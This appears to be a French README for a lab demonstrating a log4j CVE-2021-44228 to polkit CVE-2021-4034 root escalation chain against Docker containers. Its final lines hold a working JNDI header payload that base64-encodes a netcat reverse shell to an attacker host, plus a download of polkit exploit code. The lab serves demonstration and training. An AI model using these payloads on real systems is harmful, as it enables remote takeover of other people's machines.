
Configuration vulnérable pour afficher une chaîne d'attaque de log4j CVE-2021-44228 avec élévation de privilèges vers root à l'aide de l'exploit polkit CVE-2021-4034
Instance vulnérable pour l'exploit Apache log4j et l'élévation de privilèges via polkit
L'instance vulnérable sera exécutée et écoutera les connexions sur le port 80 (exposé à la machine hôte) une fois les étapes ci-dessous terminées. La partie vulnérable pour l'exploit log4j est l'en-tête X-Api-Version envoyé au serveur.
Docker : log4j-polkit-vulnerable-server
étapes pour récupérer et exécuter l'image docker vulnérable :
docker pull 0xalwayslucky/log4j-polkit-vulnerable-server
docker run -p 80:8080 0xalwayslucky/log4j-polkit-vulnerable-server
étapes pour créer manuellement une instance vulnérable pour log4j + polkit :
Note : les Dockerfiles nécessitent que certaines versions des applications vulnérables soient présentes dans les dépôts Ubuntu. Si celles-ci sont mises à jour et/ou supprimées à un moment donné, la construction de l'image docker échouera. Pour résoudre ce problème, une image sera téléchargée sur le docker hub et liée ici.
git clone https://github.com/0xalwayslucky/log4j-polkit-poc
cd log4j-polkit-poc/log4j-polkit-vuln
docker build -t log4j-polkit-vulnerable-server .
docker run -p 80:8080 --hostname victim log4j-polkit-vulnerable-server
Cela simulera la machine de l'attaquant, dans ce cas présente sur le même réseau (pour faciliter la communication entre les conteneurs docker), mais l'exploit fonctionne quel que soit l'emplacement de ce serveur d'attaque (seule condition : il doit être accessible par la victime). Le serveur JNDI malveillant sera hébergé ici et créera une classe malveillante pour exécuter des commandes arbitraires sur la machine de la victime.
étapes pour créer une machine d'attaquant simulée :
git clone https://github.com/0xalwayslucky/log4j-polkit-poc
cd log4j-polkit-poc/attackserver
docker build -t attackserver .
docker run -it --hostname attackserver attackserver /bin/bash
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <ip> -p 8888 & # dans le conteneur docker
commandes issues de la vidéo de preuve de concept
Note : l'adresse IP du serveur d'attaque peut varier
# Exploit Log4j
curl http://localhost -H 'X-Api-Version: ${jndi:ldap://172.17.0.3:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMyA0NDQ0IC1lIC9iaW4vYmFzaA==}'
# Exploit Polkit
wget https://raw.githubusercontent.com/afwu/CVE-2021-4035/main/cve-2021-4034-poc.c